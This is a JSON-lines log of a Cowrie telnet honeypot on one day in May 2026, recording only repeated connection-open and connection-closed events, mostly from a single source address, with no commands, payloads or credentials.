{"eventid":"cowrie.session.closed","duration":36.14427828788757,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:56.474380Z","src_ip":"194.163.135.148","session":"b2dc7a9bac82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47958,"dst_ip":"159.203.135.109","dst_port":23,"session":"0042df4b7884","protocol":"telnet","message":"New connection: 194.163.135.148:47958 (159.203.135.109:23) [session: 0042df4b7884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:56.703650Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47962,"dst_ip":"159.203.135.109","dst_port":23,"session":"f170dcf7bfc4","protocol":"telnet","message":"New connection: 194.163.135.148:47962 (159.203.135.109:23) [session: f170dcf7bfc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:57.008935Z"}
{"eventid":"cowrie.session.closed","duration":37.843552589416504,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:57.825886Z","src_ip":"194.163.135.148","session":"551e52ce69f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47970,"dst_ip":"159.203.135.109","dst_port":23,"session":"21e4d59392c0","protocol":"telnet","message":"New connection: 194.163.135.148:47970 (159.203.135.109:23) [session: 21e4d59392c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:59.062359Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47930,"dst_ip":"159.203.135.109","dst_port":23,"session":"949300cb24a2","protocol":"telnet","message":"New connection: 194.163.135.148:47930 (159.203.135.109:23) [session: 949300cb24a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:00.857610Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47974,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc23e2fd919f","protocol":"telnet","message":"New connection: 194.163.135.148:47974 (159.203.135.109:23) [session: bc23e2fd919f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:03.065657Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47988,"dst_ip":"159.203.135.109","dst_port":23,"session":"b62a851e2a16","protocol":"telnet","message":"New connection: 194.163.135.148:47988 (159.203.135.109:23) [session: b62a851e2a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:03.095722Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47994,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa199f3dd91e","protocol":"telnet","message":"New connection: 194.163.135.148:47994 (159.203.135.109:23) [session: aa199f3dd91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:03.737324Z"}
{"eventid":"cowrie.session.closed","duration":35.658533573150635,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:03.774629Z","src_ip":"194.163.135.148","session":"49c31126775e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.18186664581299,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:05.134749Z","src_ip":"194.163.135.148","session":"a811b90ae8f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48012,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2beb2ac6ca8","protocol":"telnet","message":"New connection: 194.163.135.148:48012 (159.203.135.109:23) [session: e2beb2ac6ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:05.630119Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48016,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a921bbed63b","protocol":"telnet","message":"New connection: 194.163.135.148:48016 (159.203.135.109:23) [session: 7a921bbed63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:05.699137Z"}
{"eventid":"cowrie.session.closed","duration":30.76756763458252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:06.149693Z","src_ip":"194.163.135.148","session":"66d35d0cb385","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":47258,"dst_ip":"10.17.0.5","dst_port":23,"session":"6efa52a670b1","protocol":"telnet","message":"New connection: 103.115.172.252:47258 (10.17.0.5:23) [session: 6efa52a670b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:07.319029Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48026,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ed45808d44d","protocol":"telnet","message":"New connection: 194.163.135.148:48026 (159.203.135.109:23) [session: 0ed45808d44d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:07.641878Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48040,"dst_ip":"159.203.135.109","dst_port":23,"session":"65a37e5c9b15","protocol":"telnet","message":"New connection: 194.163.135.148:48040 (159.203.135.109:23) [session: 65a37e5c9b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:10.912724Z"}
{"eventid":"cowrie.session.closed","duration":30.716591119766235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:11.157973Z","src_ip":"194.163.135.148","session":"e708328f72b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.97148299217224,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:13.453999Z","src_ip":"194.163.135.148","session":"418a17a1f1d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.474185943603516,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:14.820977Z","src_ip":"194.163.135.148","session":"47f36a1b0aa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.62919878959656,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:14.921118Z","src_ip":"194.163.135.148","session":"bcc58d88911b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.44676399230957,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:15.996751Z","src_ip":"194.163.135.148","session":"45361d97510c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48076,"dst_ip":"159.203.135.109","dst_port":23,"session":"be37d2551d40","protocol":"telnet","message":"New connection: 194.163.135.148:48076 (159.203.135.109:23) [session: be37d2551d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:16.196882Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48078,"dst_ip":"159.203.135.109","dst_port":23,"session":"5148e1ae176f","protocol":"telnet","message":"New connection: 194.163.135.148:48078 (159.203.135.109:23) [session: 5148e1ae176f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:16.255494Z"}
{"eventid":"cowrie.session.closed","duration":34.00050354003906,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:16.336897Z","src_ip":"194.163.135.148","session":"a39b14ebe0f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.28608751296997,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:17.355109Z","src_ip":"194.163.135.148","session":"77804315e677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.73699879646301,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:17.405891Z","src_ip":"194.163.135.148","session":"cdfe1e535972","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":42582,"dst_ip":"159.203.135.109","dst_port":23,"session":"a36978ab4936","protocol":"telnet","message":"New connection: 185.26.126.47:42582 (159.203.135.109:23) [session: a36978ab4936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:18.058571Z"}
{"eventid":"cowrie.session.closed","duration":31.012575387954712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:19.936414Z","src_ip":"194.163.135.148","session":"e009cfd3da8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.671891927719116,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:20.776304Z","src_ip":"194.163.135.148","session":"9bfe27228e9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48124,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9cc9f1a2617","protocol":"telnet","message":"New connection: 194.163.135.148:48124 (159.203.135.109:23) [session: d9cc9f1a2617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:22.077435Z"}
{"eventid":"cowrie.session.closed","duration":33.869874000549316,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:22.148203Z","src_ip":"194.163.135.148","session":"6524fa37f462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48132,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a15abca4d1c","protocol":"telnet","message":"New connection: 194.163.135.148:48132 (159.203.135.109:23) [session: 4a15abca4d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:23.377879Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48140,"dst_ip":"159.203.135.109","dst_port":23,"session":"eebd32fe514d","protocol":"telnet","message":"New connection: 194.163.135.148:48140 (159.203.135.109:23) [session: eebd32fe514d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:24.906990Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48144,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ca8ece1375e","protocol":"telnet","message":"New connection: 194.163.135.148:48144 (159.203.135.109:23) [session: 9ca8ece1375e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:25.058354Z"}
{"eventid":"cowrie.session.closed","duration":39.2550790309906,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:25.504770Z","src_ip":"194.163.135.148","session":"92b9195d5cf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.967188596725464,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:28.998583Z","src_ip":"194.163.135.148","session":"a5a4901c9e4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.82298398017883,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:29.025145Z","src_ip":"194.163.135.148","session":"85854d85e529","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.64688277244568,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:29.370636Z","src_ip":"194.163.135.148","session":"32fdfe5ebb80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48178,"dst_ip":"159.203.135.109","dst_port":23,"session":"a169b86778d9","protocol":"telnet","message":"New connection: 194.163.135.148:48178 (159.203.135.109:23) [session: a169b86778d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:29.496257Z"}
{"eventid":"cowrie.session.closed","duration":32.85041046142578,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:29.553978Z","src_ip":"194.163.135.148","session":"0042df4b7884","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.48079037666321,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:30.327112Z","src_ip":"194.163.135.148","session":"ff4bb84f3559","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.1.168.89","src_port":36135,"dst_ip":"159.203.135.109","dst_port":23,"session":"37c88b4186d1","protocol":"telnet","message":"New connection: 201.1.168.89:36135 (159.203.135.109:23) [session: 37c88b4186d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:31.439792Z"}
{"eventid":"cowrie.session.closed","duration":34.476603507995605,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:31.485394Z","src_ip":"194.163.135.148","session":"f170dcf7bfc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48202,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5310a795c29","protocol":"telnet","message":"New connection: 194.163.135.148:48202 (159.203.135.109:23) [session: c5310a795c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:32.090849Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.1.168.89","src_port":36166,"dst_ip":"159.203.135.109","dst_port":23,"session":"47e89d020e85","protocol":"telnet","message":"New connection: 201.1.168.89:36166 (159.203.135.109:23) [session: 47e89d020e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:32.310462Z"}
{"eventid":"cowrie.session.closed","duration":33.39967942237854,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:32.461885Z","src_ip":"194.163.135.148","session":"21e4d59392c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48210,"dst_ip":"159.203.135.109","dst_port":23,"session":"4267cb4ad89d","protocol":"telnet","message":"New connection: 194.163.135.148:48210 (159.203.135.109:23) [session: 4267cb4ad89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:32.982962Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48214,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbfdc2ceaf11","protocol":"telnet","message":"New connection: 194.163.135.148:48214 (159.203.135.109:23) [session: bbfdc2ceaf11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:33.588311Z"}
{"eventid":"cowrie.session.closed","duration":32.737372159957886,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:33.594795Z","src_ip":"194.163.135.148","session":"949300cb24a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48222,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b8a56e90ad1","protocol":"telnet","message":"New connection: 194.163.135.148:48222 (159.203.135.109:23) [session: 8b8a56e90ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:34.385673Z"}
{"eventid":"cowrie.session.closed","duration":32.57811641693115,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:36.315311Z","src_ip":"194.163.135.148","session":"aa199f3dd91e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48246,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ff3629e7430","protocol":"telnet","message":"New connection: 194.163.135.148:48246 (159.203.135.109:23) [session: 4ff3629e7430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:36.423871Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48262,"dst_ip":"159.203.135.109","dst_port":23,"session":"996a14d84536","protocol":"telnet","message":"New connection: 194.163.135.148:48262 (159.203.135.109:23) [session: 996a14d84536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:37.470946Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48272,"dst_ip":"159.203.135.109","dst_port":23,"session":"876795bc6ce4","protocol":"telnet","message":"New connection: 194.163.135.148:48272 (159.203.135.109:23) [session: 876795bc6ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:38.281446Z"}
{"eventid":"cowrie.session.closed","duration":35.65011119842529,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:38.745705Z","src_ip":"194.163.135.148","session":"b62a851e2a16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.29021739959717,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:39.920219Z","src_ip":"194.163.135.148","session":"e2beb2ac6ca8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48290,"dst_ip":"159.203.135.109","dst_port":23,"session":"00c9dc6b8383","protocol":"telnet","message":"New connection: 194.163.135.148:48290 (159.203.135.109:23) [session: 00c9dc6b8383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:40.902060Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48298,"dst_ip":"159.203.135.109","dst_port":23,"session":"0322ab384bd6","protocol":"telnet","message":"New connection: 194.163.135.148:48298 (159.203.135.109:23) [session: 0322ab384bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:41.260013Z"}
{"eventid":"cowrie.session.closed","duration":35.62254881858826,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:41.321574Z","src_ip":"194.163.135.148","session":"7a921bbed63b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.569700717926025,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:41.635242Z","src_ip":"194.163.135.148","session":"bc23e2fd919f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48314,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e3b00da8bd6","protocol":"telnet","message":"New connection: 194.163.135.148:48314 (159.203.135.109:23) [session: 5e3b00da8bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:42.664878Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48328,"dst_ip":"159.203.135.109","dst_port":23,"session":"93cb7798e2a3","protocol":"telnet","message":"New connection: 194.163.135.148:48328 (159.203.135.109:23) [session: 93cb7798e2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:43.733032Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":58998,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef4eb2e0d3c6","protocol":"telnet","message":"New connection: 185.26.126.47:58998 (159.203.135.109:23) [session: ef4eb2e0d3c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:46.660247Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48362,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5277208bc79","protocol":"telnet","message":"New connection: 194.163.135.148:48362 (159.203.135.109:23) [session: e5277208bc79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:47.019731Z"}
{"eventid":"cowrie.session.closed","duration":37.85833525657654,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:48.770945Z","src_ip":"194.163.135.148","session":"65a37e5c9b15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.59855890274048,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:48.917433Z","src_ip":"103.115.172.252","session":"6efa52a670b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.06281852722168,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:49.704556Z","src_ip":"194.163.135.148","session":"0ed45808d44d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48392,"dst_ip":"159.203.135.109","dst_port":23,"session":"571208746688","protocol":"telnet","message":"New connection: 194.163.135.148:48392 (159.203.135.109:23) [session: 571208746688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:50.050935Z"}
{"eventid":"cowrie.session.closed","duration":34.257970571517944,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:50.513305Z","src_ip":"194.163.135.148","session":"5148e1ae176f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.51766753196716,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:51.714379Z","src_ip":"194.163.135.148","session":"be37d2551d40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09123730659485,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:54.168541Z","src_ip":"194.163.135.148","session":"d9cc9f1a2617","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48450,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6ded3af5d69","protocol":"telnet","message":"New connection: 194.163.135.148:48450 (159.203.135.109:23) [session: a6ded3af5d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:55.418808Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48466,"dst_ip":"159.203.135.109","dst_port":23,"session":"988441b8a358","protocol":"telnet","message":"New connection: 194.163.135.148:48466 (159.203.135.109:23) [session: 988441b8a358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:56.293575Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48500,"dst_ip":"159.203.135.109","dst_port":23,"session":"4afb6418493d","protocol":"telnet","message":"New connection: 194.163.135.148:48500 (159.203.135.109:23) [session: 4afb6418493d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:57.185952Z"}
{"eventid":"cowrie.session.closed","duration":35.46082353591919,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:58.838534Z","src_ip":"194.163.135.148","session":"4a15abca4d1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48518,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c24f888decd","protocol":"telnet","message":"New connection: 194.163.135.148:48518 (159.203.135.109:23) [session: 2c24f888decd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:50:59.337962Z"}
{"eventid":"cowrie.session.closed","duration":36.35127902030945,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:01.258175Z","src_ip":"194.163.135.148","session":"eebd32fe514d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48542,"dst_ip":"159.203.135.109","dst_port":23,"session":"aad6e8e3a076","protocol":"telnet","message":"New connection: 194.163.135.148:48542 (159.203.135.109:23) [session: aad6e8e3a076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:02.357946Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":48544,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9bd4b90befa","protocol":"telnet","message":"New connection: 194.163.135.148:48544 (159.203.135.109:23) [session: d9bd4b90befa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:02.481477Z"}
{"eventid":"cowrie.session.closed","duration":38.98369097709656,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:51:04.041894Z","src_ip":"194.163.135.148","session":"9ca8ece1375e","protocol":"telnet"}
